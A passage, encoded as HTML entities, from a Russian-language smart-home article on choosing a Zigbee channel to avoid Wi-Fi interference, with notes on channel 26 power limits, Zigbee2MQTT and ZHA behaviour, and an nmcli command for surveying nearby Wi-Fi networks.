&#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x442;&#x44C; &#x43B;&#x438;&#x431;&#x43E; &#x432; USB 2.0, &#x43B;&#x438;&#x431;&#x43E; &#x432; &#x445;&#x430;&#x431; &#x441;&#x43E; &#x441;&#x432;&#x43E;&#x438;&#x43C; &#x43F;&#x438;&#x442;&#x430;&#x43D;&#x438;&#x435;&#x43C;. 

&#x41E;&#x442;&#x43A;&#x443;&#x434;&#x430; &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435; &#x431;&#x435;&#x440;&#x451;&#x442;&#x441;&#x44F; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x435;&#x447;&#x435;&#x43D;&#x438;&#x435; &#x441; Wi-Fi

&#x41E;&#x431;&#x435; &#x442;&#x435;&#x445;&#x43D;&#x43E;&#x43B;&#x43E;&#x433;&#x438;&#x438; &#x434;&#x435;&#x43B;&#x44F;&#x442; &#x43E;&#x434;&#x438;&#x43D; &#x438; &#x442;&#x43E;&#x442; &#x436;&#x435; &#x43A;&#x443;&#x441;&#x43E;&#x43A; &#x441;&#x43F;&#x435;&#x43A;&#x442;&#x440;&#x430;. &#x423; IEEE 802.15.4 &#x43D;&#x430; 2,4 &#x413;&#x413;&#x446; &#x448;&#x435;&#x441;&#x442;&#x43D;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x43E;&#x432;, &#x43F;&#x440;&#x43E;&#x43D;&#x443;&#x43C;&#x435;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x441; 11 &#x43F;&#x43E; 26; &#x446;&#x435;&#x43D;&#x442;&#x440;&#x44B; &#x440;&#x430;&#x441;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x44B; &#x441; &#x448;&#x430;&#x433;&#x43E;&#x43C; 5 &#x41C;&#x413;&#x446; &#x432; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x432;&#x430;&#x43B;&#x435; &#x43E;&#x442; 2405 &#x434;&#x43E; 2480 &#x41C;&#x413;&#x446;, &#x430; &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442; &#x43A;&#x430;&#x436;&#x434;&#x44B;&#x439; &#x43A;&#x430;&#x43D;&#x430;&#x43B; &#x432;&#x441;&#x435;&#x433;&#x43E; 2 &#x41C;&#x413;&#x446;. Wi-Fi &#x432; &#x442;&#x43E;&#x43C; &#x436;&#x435; &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D;&#x435; &#x43A;&#x443;&#x434;&#x430; &#x43F;&#x440;&#x43E;&#x436;&#x43E;&#x440;&#x43B;&#x438;&#x432;&#x435;&#x435; &#x2014; 22 &#x41C;&#x413;&#x446; &#x43D;&#x430; &#x43A;&#x430;&#x43D;&#x430;&#x43B;: &#x43F;&#x43E;&#x434; &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x43C; &#x43B;&#x435;&#x436;&#x438;&#x442; 2401&#x2013;2423 &#x41C;&#x413;&#x446;, &#x43F;&#x43E;&#x434; &#x448;&#x435;&#x441;&#x442;&#x44B;&#x43C; 2426&#x2013;2448, &#x43F;&#x43E;&#x434; &#x43E;&#x434;&#x438;&#x43D;&#x43D;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44B;&#x43C; 2451&#x2013;2473. &#x41D;&#x438;&#x43A;&#x430;&#x43A;&#x43E;&#x433;&#x43E; &#xAB;&#x43F;&#x440;&#x43E;&#x431;&#x438;&#x432;&#x430;&#x43D;&#x438;&#x44F;&#xBB; &#x441;&#x43A;&#x432;&#x43E;&#x437;&#x44C; Wi-Fi &#x443; &#x443;&#x437;&#x43A;&#x43E;&#x433;&#x43E; Zigbee &#x43D;&#x435; &#x43F;&#x440;&#x43E;&#x438;&#x441;&#x445;&#x43E;&#x434;&#x438;&#x442; &#x2014; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43B;&#x438;&#x448;&#x44C; &#x432; &#x442;&#x43E;&#x43C;, &#x43F;&#x43E;&#x43F;&#x430;&#x43B; &#x43E;&#x43D; &#x432; &#x43F;&#x440;&#x43E;&#x43C;&#x435;&#x436;&#x443;&#x442;&#x43E;&#x43A; &#x43C;&#x435;&#x436;&#x434;&#x443; &#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x430;&#x43C;&#x438; &#x438;&#x43B;&#x438; &#x43D;&#x435;&#x442;. 

&#x428;&#x43A;&#x430;&#x43B;&#x430; &#x43F;&#x43E;&#x441;&#x442;&#x440;&#x43E;&#x435;&#x43D;&#x430; &#x43F;&#x43E; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x43C; NXP JN-AN-1079: &#x448;&#x430;&#x433; 5 &#x41C;&#x413;&#x446;, &#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x430; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430; 2 &#x41C;&#x413;&#x446;

&#x1F4CC; &#x417;&#x430;&#x43C;&#x435;&#x442;&#x43A;&#x430; &#x41F;&#x43E;&#x434; Thread &#x438; Matter-over-Thread &#x43B;&#x435;&#x436;&#x438;&#x442; &#x442;&#x43E;&#x442; &#x436;&#x435; &#x441;&#x430;&#x43C;&#x44B;&#x439; 802.15.4 &#x441; &#x442;&#x43E;&#x439; &#x436;&#x435; &#x43D;&#x443;&#x43C;&#x435;&#x440;&#x430;&#x446;&#x438;&#x435;&#x439; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x43E;&#x432;. &#x422;&#x430;&#x43A; &#x447;&#x442;&#x43E; &#x431;&#x43E;&#x440;&#x434;&#x435;&#x440;-&#x440;&#x43E;&#x443;&#x442;&#x435;&#x440;, &#x436;&#x438;&#x432;&#x443;&#x449;&#x438;&#x439; &#x43F;&#x43E; &#x441;&#x43E;&#x441;&#x435;&#x434;&#x441;&#x442;&#x432;&#x443; &#x441; Zigbee-&#x43A;&#x43E;&#x43E;&#x440;&#x434;&#x438;&#x43D;&#x430;&#x442;&#x43E;&#x440;&#x43E;&#x43C;, &#x43A;&#x43E;&#x43D;&#x43A;&#x443;&#x440;&#x438;&#x440;&#x443;&#x435;&#x442; &#x437;&#x430; &#x441;&#x43F;&#x435;&#x43A;&#x442;&#x440; &#x43D;&#x435; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x441; &#x442;&#x43E;&#x447;&#x43A;&#x43E;&#x439; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430;, &#x43D;&#x43E; &#x438; &#x441; &#x43D;&#x438;&#x43C;. 

&#x427;&#x435;&#x43C; &#x43E;&#x431;&#x43E;&#x440;&#x430;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x435;&#x440;&#x435;&#x435;&#x437;&#x434; &#x43D;&#x430; 26-&#x439;

&#x427;&#x442;&#x43E; &#x432;&#x435;&#x440;&#x445;&#x443;&#x448;&#x43A;&#x430; &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D;&#x430; &#x441;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x43D;&#x430; &#x2014; &#x43F;&#x440;&#x430;&#x432;&#x434;&#x430;. &#x422;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x432;&#x43E;&#x442; 26-&#x433;&#x43E; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430; &#x43D;&#x435;&#x442; &#x43D;&#x438; &#x432; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x43D;&#x435; &#x440;&#x435;&#x43A;&#x43E;&#x43C;&#x435;&#x43D;&#x434;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x443; Zigbee2MQTT (&#x442;&#x430;&#x43C; &#x447;&#x438;&#x441;&#x43B;&#x44F;&#x442;&#x441;&#x44F; 11, 15, 20 &#x438; 25), &#x43D;&#x438; &#x443; ZHA: &#x435;&#x451; &#x440;&#x435;&#x436;&#x438;&#x43C; &#xAB;Smart&#xBB; &#x43F;&#x440;&#x438; &#x43F;&#x435;&#x440;&#x432;&#x438;&#x447;&#x43D;&#x43E;&#x439; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x435; &#x43F;&#x440;&#x43E;&#x433;&#x43E;&#x43D;&#x44F;&#x435;&#x442; &#x432;&#x435;&#x441;&#x44C; &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D; &#x438; &#x438;&#x437; &#x440;&#x435;&#x437;&#x443;&#x43B;&#x44C;&#x442;&#x430;&#x442;&#x43E;&#x432; &#x43E;&#x442;&#x434;&#x430;&#x451;&#x442; &#x43F;&#x440;&#x435;&#x434;&#x43F;&#x43E;&#x447;&#x442;&#x435;&#x43D;&#x438;&#x435; 15-&#x43C;&#x443;, 20-&#x43C;&#x443; &#x438; 25-&#x43C;&#x443;. 

&#x41A;&#x443;&#x434;&#x430; &#x432;&#x430;&#x436;&#x43D;&#x435;&#x435; &#x432;&#x442;&#x43E;&#x440;&#x43E;&#x439; &#x43C;&#x43E;&#x43C;&#x435;&#x43D;&#x442;, &#x43E; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x43C; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x43D;&#x435; &#x433;&#x43E;&#x432;&#x43E;&#x440;&#x44F;&#x442;, &#x2014; &#x43C;&#x43E;&#x449;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x43F;&#x435;&#x440;&#x435;&#x434;&#x430;&#x442;&#x447;&#x438;&#x43A;&#x430; &#x43D;&#x430; &#x432;&#x435;&#x440;&#x445;&#x43D;&#x438;&#x445; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430;&#x445; &#x443;&#x440;&#x435;&#x437;&#x430;&#x435;&#x442;&#x441;&#x44F;. &#x412; &#x440;&#x443;&#x43A;&#x43E;&#x432;&#x43E;&#x434;&#x441;&#x442;&#x432;&#x435; Texas Instruments &#x43F;&#x43E; FCC-&#x441;&#x435;&#x440;&#x442;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x438; Z-Stack &#x43F;&#x43E;&#x442;&#x43E;&#x43B;&#x43A;&#x438; &#x43F;&#x440;&#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x44B; &#x43F;&#x43E;&#x438;&#x43C;&#x451;&#x43D;&#x43D;&#x43E; &#x434;&#x43B;&#x44F; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x44B;&#x445; &#x43F;&#x43B;&#x430;&#x442;: &#x434;&#x43B;&#x44F; LP_CC2652RSIP &#x438; LP_CC2652PSIP &#x44D;&#x442;&#x43E; 2 dBm &#x43D;&#x430; 26-&#x43C; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x435;, &#x434;&#x43B;&#x44F; CC1352P_2_LAUNCHXL &#x2014; 15 dBm. &#x412;&#x438;&#x43D;&#x43E;&#x432;&#x430;&#x442;&#x430; &#x432;&#x442;&#x43E;&#x440;&#x430;&#x44F; &#x433;&#x430;&#x440;&#x43C;&#x43E;&#x43D;&#x438;&#x43A;&#x430;: &#x441; &#x43D;&#x435;&#x439; &#x43F;&#x43B;&#x430;&#x442;&#x44B; &#x43D;&#x435; &#x43F;&#x440;&#x43E;&#x445;&#x43E;&#x434;&#x44F;&#x442; &#x441;&#x435;&#x440;&#x442;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x44E; &#x432; &#x432;&#x435;&#x440;&#x445;&#x43D;&#x435;&#x439; &#x447;&#x430;&#x441;&#x442;&#x438; &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D;&#x430;. 

&#x26D4; &#x422;&#x430;&#x43A; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x43D;&#x435;&#x43B;&#x44C;&#x437;&#x44F; &#x412;&#x434;&#x443;&#x43C;&#x430;&#x439;&#x442;&#x435;&#x441;&#x44C; &#x432; &#x440;&#x430;&#x437;&#x431;&#x440;&#x43E;&#x441;: 2 dBm &#x43D;&#x430; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x43F;&#x43B;&#x430;&#x442;&#x435; &#x438; 15 dBm &#x43D;&#x430; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x439; &#x432; &#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x430;&#x445; &#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430; &#x2014; &#x43F;&#x440;&#x438; &#x442;&#x43E;&#x43C;, &#x447;&#x442;&#x43E; &#x447;&#x438;&#x43F;&#x44B; &#x441;&#x435;&#x440;&#x438;&#x438; CC2652P &#x441;&#x430;&#x43C;&#x438; &#x43F;&#x43E; &#x441;&#x435;&#x431;&#x435; &#x443;&#x43C;&#x435;&#x44E;&#x442; &#x432;&#x44B;&#x434;&#x430;&#x432;&#x430;&#x442;&#x44C; &#x434;&#x43E; +20 dBm. &#x412;&#x43E;&#x441;&#x435;&#x43C;&#x43D;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x434;&#x435;&#x446;&#x438;&#x431;&#x435;&#x43B; &#x440;&#x430;&#x437;&#x43D;&#x438;&#x446;&#x44B; &#x432; &#x441;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x43D;&#x43E;&#x43C; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x440;&#x430;&#x43D;&#x441;&#x442;&#x432;&#x435; &#x44D;&#x43A;&#x432;&#x438;&#x432;&#x430;&#x43B;&#x435;&#x43D;&#x442;&#x43D;&#x44B; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; &#x432;&#x43E;&#x441;&#x44C;&#x43C;&#x438;&#x43A;&#x440;&#x430;&#x442;&#x43D;&#x43E;&#x43C;&#x443; &#x43F;&#x430;&#x434;&#x435;&#x43D;&#x438;&#x44E; &#x434;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x441;&#x442;&#x438;; &#x432; &#x43A;&#x432;&#x430;&#x440;&#x442;&#x438;&#x440;&#x435; &#x441; &#x435;&#x451; &#x437;&#x430;&#x442;&#x443;&#x445;&#x430;&#x43D;&#x438;&#x435;&#x43C; &#x44D;&#x444;&#x444;&#x435;&#x43A;&#x442; &#x441;&#x43B;&#x430;&#x431;&#x435;&#x435;, &#x43D;&#x43E; &#x441;&#x435;&#x442;&#x44C; &#x43E;&#x442; &#x442;&#x430;&#x43A;&#x43E;&#x433;&#x43E; &#xAB;&#x443;&#x43B;&#x443;&#x447;&#x448;&#x435;&#x43D;&#x438;&#x44F;&#xBB; &#x432;&#x441;&#x451; &#x440;&#x430;&#x432;&#x43D;&#x43E; &#x440;&#x430;&#x437;&#x44A;&#x435;&#x437;&#x436;&#x430;&#x435;&#x442;&#x441;&#x44F;. &#x421;&#x432;&#x43E;&#x438; &#x43B;&#x438;&#x43C;&#x438;&#x442;&#x44B; &#x441;&#x432;&#x435;&#x440;&#x44F;&#x439;&#x442;&#x435; &#x43F;&#x43E; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x438; &#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x43E;&#x434;&#x438;&#x442;&#x435;&#x43B;&#x44F; &#x441;&#x432;&#x438;&#x441;&#x442;&#x43A;&#x430;, &#x430; &#x43D;&#x435; &#x43F;&#x43E; &#x441;&#x43E;&#x432;&#x435;&#x442;&#x430;&#x43C; &#x438;&#x437; &#x43F;&#x435;&#x440;&#x435;&#x43F;&#x438;&#x441;&#x43A;&#x438;. 

&#x41A;&#x43D;&#x43E;&#x43F;&#x43A;&#x430; &#xAB;&#x441;&#x43C;&#x435;&#x43D;&#x438;&#x442;&#x44C; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#xBB; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x43E;&#x439; &#x43D;&#x435; &#x431;&#x44B;&#x432;&#x430;&#x435;&#x442;

&#x41D;&#x430; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x44E;&#x449;&#x435;&#x439; &#x441;&#x435;&#x442;&#x438; &#x443; &#x44D;&#x442;&#x43E;&#x439; &#x43E;&#x43F;&#x435;&#x440;&#x430;&#x446;&#x438;&#x438; &#x435;&#x441;&#x442;&#x44C; &#x446;&#x435;&#x43D;&#x430;. Zigbee2MQTT &#x443;&#x43C;&#x435;&#x435;&#x442; &#x43C;&#x435;&#x43D;&#x44F;&#x442;&#x44C; &#x43A;&#x430;&#x43D;&#x430;&#x43B; &#x43B;&#x438;&#x448;&#x44C; &#x434;&#x43B;&#x44F; &#x430;&#x434;&#x430;&#x43F;&#x442;&#x435;&#x440;&#x43E;&#x432; zstack &#x438; ember; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;&#x435; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x430; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43D;&#x435; &#x443;&#x43C;&#x435;&#x44E;&#x442; &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435; &#x438; &#x43F;&#x43E;&#x442;&#x440;&#x435;&#x431;&#x443;&#x44E;&#x442; &#x43F;&#x43E;&#x432;&#x442;&#x43E;&#x440;&#x43D;&#x43E;&#x433;&#x43E; &#x441;&#x43E;&#x43F;&#x440;&#x44F;&#x436;&#x435;&#x43D;&#x438;&#x44F;; &#x431;&#x430;&#x442;&#x430;&#x440;&#x435;&#x439;&#x43D;&#x44B;&#x435; &#x434;&#x430;&#x442;&#x447;&#x438;&#x43A;&#x438; &#x432; &#x43C;&#x43E;&#x43C;&#x435;&#x43D;&#x442; &#x448;&#x438;&#x440;&#x43E;&#x43A;&#x43E;&#x432;&#x435;&#x449;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;&#x439; &#x440;&#x430;&#x441;&#x441;&#x44B;&#x43B;&#x43A;&#x438; &#x441;&#x43F;&#x44F;&#x442; &#x438; &#x435;&#x451; &#x43D;&#x435; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x442;. ZHA &#x43E;&#x442;&#x432;&#x43E;&#x434;&#x438;&#x442; &#x43D;&#x430; &#x43F;&#x435;&#x440;&#x435;&#x435;&#x437;&#x434; &#x432;&#x441;&#x435;&#x439; &#x441;&#x435;&#x442;&#x438; &#x434;&#x43E; &#x447;&#x430;&#x441;&#x430; &#x438; &#x43F;&#x440;&#x435;&#x434;&#x43B;&#x430;&#x433;&#x430;&#x435;&#x442; &#x43F;&#x43E;&#x434;&#x433;&#x43E;&#x43D;&#x44F;&#x442;&#x44C; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x441;&#x441; &#x43F;&#x435;&#x440;&#x435;&#x434;&#x451;&#x440;&#x433;&#x438;&#x432;&#x430;&#x43D;&#x438;&#x435;&#x43C; &#x43F;&#x438;&#x442;&#x430;&#x43D;&#x438;&#x44F; &#x2014; &#x430; &#x432; &#x43A;&#x430;&#x447;&#x435;&#x441;&#x442;&#x432;&#x435; &#x43E;&#x431;&#x449;&#x435;&#x439; &#x440;&#x435;&#x43A;&#x43E;&#x43C;&#x435;&#x43D;&#x434;&#x430;&#x446;&#x438;&#x438; &#x441;&#x43E;&#x432;&#x435;&#x442;&#x443;&#x435;&#x442; &#x43A;&#x430;&#x43D;&#x430;&#x43B;, &#x43D;&#x430;&#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x43F;&#x440;&#x438; &#x43F;&#x435;&#x440;&#x432;&#x438;&#x447;&#x43D;&#x43E;&#x439; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x435;, &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435; &#x43D;&#x435; &#x442;&#x440;&#x43E;&#x433;&#x430;&#x442;&#x44C;. 

&#x422;&#x430;&#x43A; &#x447;&#x442;&#x43E; &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x439; &#x448;&#x430;&#x433; &#x2014; &#x432;&#x44B;&#x44F;&#x441;&#x43D;&#x438;&#x442;&#x44C;, &#x433;&#x434;&#x435; &#x441;&#x438;&#x434;&#x438;&#x442; &#x432;&#x430;&#x448;&#x430; &#x442;&#x43E;&#x447;&#x43A;&#x430; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430;: 

# &#x441;&#x432;&#x43E;&#x439; &#x438; &#x441;&#x43E;&#x441;&#x435;&#x434;&#x441;&#x43A;&#x438;&#x435; SSID &#x441; &#x43D;&#x43E;&#x43C;&#x435;&#x440;&#x430;&#x43C;&#x438; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x43E;&#x432; &#x438; &#x443;&#x440;&#x43E;&#x432;&#x43D;&#x435;&#x43C;
nmcli -f SSID,CHAN,FREQ,SIGNAL dev wifi list | head -20

&#x410; &#x437;&#x430;&#x442;&#x435;&#x43C; &#x441;&#x432;&#x435;&#x440;&#x44F;&#x442;&#x44C;&#x441;&#x44F; &#x441; &#x442;&#x430;&#x431;&#x43B;&#x438;&#x446;&#x435;&#x439;. &#x41F;&#x43E;&#x434; &#xAB;&#x441;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x435;&#x43D;&#xBB; &#x43F;&#x43E;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442;&#x441;&#x44F;, &#x447;&#x442;&#x43E; &#x434;&#x432;&#x443;&#x445;&#x43C;&#x435;&#x433;&#x430;&#x433;&#x435;&#x440;&#x446;&#x435;&#x432;&#x430;&#x44F; &#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x430; Zigbee &#x446;&#x435;&#x43B;&#x438;&#x43A;&#x43E;&#x43C; &#x432;&#x44B;&#x43F;&#x430;&#x434;&#x430;&#x435;&#x442; &#x437;&#x430; &#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x44B; 22 &#x41C;&#x413;&#x446; &#x441;&#x43E;&#x43E;&#x442;&#x432;&#x435;&#x442;&#x441;&#x442;&#x432;&#x443;&#x44E;&#x449;&#x435;&#x433;&#x43E; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430; Wi-Fi. 


&#x41A;&#x430;&#x43D;&#x430;&#x43B; Wi-Fi&#x417;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x43C;&#x430;&#x44F; &#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x430;&#x421;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x43D;&#x44B;&#x435; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x44B; Zigbee
12401&#x2013;2423 &#x41C;&#x413;&#x446;15, 20, 25
62426&#x2013;2448 &#x41C;&#x413;&#x446;11&#x2013;14, 20, 25
112451&#x2013;2473 &#x41C;&#x413;&#x446;11&#x2013;15, 25


&#x421;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x438;&#x442;&#x441;&#x44F; &#x43F;&#x43E;&#x43D;&#x44F;&#x442;&#x43D;&#x43E;, &#x43E;&#x442;&#x43A;&#x443;&#x434;&#x430; &#x43F;&#x43E;&#x43F;&#x443;&#x43B;&#x44F;&#x440;&#x43D;&#x43E;&#x441;&#x442;&#x44C; 25-&#x433;&#x43E;: &#x441;&#x440;&#x435;&#x434;&#x438; &#x440;&#x435;&#x43A;&#x43E;&#x43C;&#x435;&#x43D;&#x434;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43E;&#x43D; &#x43E;&#x441;&#x442;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x432;&#x43D;&#x435; &#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x44B; &#x43F;&#x440;&#x438; &#x43B;&#x44E;&#x431;&#x43E;&#x43C; &#x440;&#x430;&#x441;&#x43A;&#x43B;&#x430;&#x434;&#x435; &#x441; Wi-Fi. 

&#x26A0;&#xFE0F; &#x41E;&#x441;&#x442;&#x43E;&#x440;&#x43E;&#x436;&#x43D;&#x43E; &#x422;&#x430;&#x431;&#x43B;&#x438;&#x446;&#x430; &#x43E;&#x43F;&#x438;&#x441;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x441;&#x438;&#x442;&#x443;&#x430;&#x446;&#x438;&#x44E; &#x441; &#x448;&#x438;&#x440;&#x438;&#x43D;&#x43E;&#x439; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430; Wi-Fi &#x432; 20 &#x41C;&#x413;&#x446;. &#x421;&#x442;&#x43E;&#x438;&#x442; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x44C; &#x442;&#x43E;&#x447;&#x43A;&#x443; &#x432; &#x440;&#x435;&#x436;&#x438;&#x43C; 40 &#x41C;&#x413;&#x446; &#x2014; &#x438; &#x43E;&#x43D;&#x430; &#x437;&#x430;&#x431;&#x435;&#x440;&#x451;&#x442; &#x441;&#x435;&#x431;&#x435; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x43F;&#x43E;&#x43B;&#x43E;&#x432;&#x438;&#x43D;&#x443; &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D;&#x430;, &#x43F;&#x440;&#x43E;&#x43C;&#x435;&#x436;&#x443;&#x442;&#x43A;&#x43E;&#x432; &#x43D;&#x435; &#x43E;&#x441;&#x442;&#x430;&#x43D;&#x435;&#x442;&#x441;&#x44F; &#x432;&#x43E;&#x432;&#x441;&#x435;. &#x417;&#x430;&#x43E;&#x434;&#x43D;&#x43E; &#x443;&#x431;&#x435;&#x434;&#x438;&#x442;&#x435;&#x441;&#x44C;, &#x447;&#x442;&#x43E; &#x43D;&#x43E;&#x43C;&#x435;&#x440; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430; &#x432;&#x44B;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x435;&#x43D; &#x440;&#x443;&#x43A;&#x430;&#x43C;&#x438;: &#x43F;&#x440;&#x438; &#xAB;&#x430;&#x432;&#x442;&#x43E;&#xBB; &#x440;&#x43E;&#x443;&#x442;&#x435;&#x440; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x435;&#x43D; &#x43F;&#x435;&#x440;&#x435;&#x435;&#x445;&#x430;&#x442;&#x44C; &#x441;&#x440;&#x435;&#x434;&#x438; &#x43D;&#x43E;&#x447;&#x438; &#x438; &#x443;&#x43D;&#x435;&#x441;&#x442;&#x438; &#x432;&#x430;&#x448; &#x43F;&#x440;&#x43E;&#x43C;&#x435;&#x436;&#x443;&#x442;&#x43E;&#x43A; &#x441; &#x441;&#x43E;&#x431;&#x43E;&#x439;. 

&#x2705; &#x41A;&#x430;&#x43A; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x43E; &#x415;&#x441;&#x43B;&#x438; &#x441;&#x435;&#x442;&#x44C; &#x440;&#x430;&#x437;&#x432;&#x430;&#x43B;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F;, &#x438;&#x434;&#x438;&#x442;&#x435; &#x43F;&#x43E; &#x448;&#x430;&#x433;&#x430;&#x43C;: &#x443;&#x434;&#x43B;&#x438;&#x43D;&#x438;&#x442;&#x435;&#x43B;&#x44C; &#x43E;&#x442; 50 &#x441;&#x43C;, &#x440;&#x430;&#x437;&#x44A;&#x451;&#x43C; USB 2.0, &#x434;&#x438;&#x441;&#x442;&#x430;&#x43D;&#x446;&#x438;&#x44F; &#x43E;&#x442; &#x43A;&#x43E;&#x440;&#x43F;&#x443;&#x441;&#x430;, &#x43D;&#x430;&#x43A;&#x43E;&#x43F;&#x438;&#x442;&#x435;&#x43B;&#x435;&#x439; &#x438; &#x440;&#x43E;&#x443;&#x442;&#x435;&#x440;&#x430; &#x2014; &#x43D;&#x435; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43D;&#x438; &#x43A;&#x43E;&#x43F;&#x435;&#x439;&#x43A;&#x438; &#x438; &#x43D;&#x435;&#x440;&#x435;&#x434;&#x43A;&#x43E; &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x446;&#x435;&#x43B;&#x438;&#x43A;&#x43E;&#x43C;;&#x43D;&#x43E;&#x43C;&#x435;&#x440; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430; &#x43D;&#x430; &#x442;&#x43E;&#x447;&#x43A;&#x435; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430; &#x432;&#x44B;&#x441;&#x442;&#x430;&#x432;&#x438;&#x442;&#x44C; &#x440;&#x443;&#x43A;&#x430;&#x43C;&#x438;, &#x448;&#x438;&#x440;&#x438;&#x43D;&#x443; &#x43E;&#x441;&#x442;&#x430;&#x432;&#x438;&#x442;&#x44C; 20 &#x41C;&#x413;&#x446;;&#x432; &#x441;&#x43B;&#x430;&#x431;&#x44B;&#x445; &#x437;&#x43E;&#x43D;&#x430;&#x445; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x438;&#x442;&#x44C; 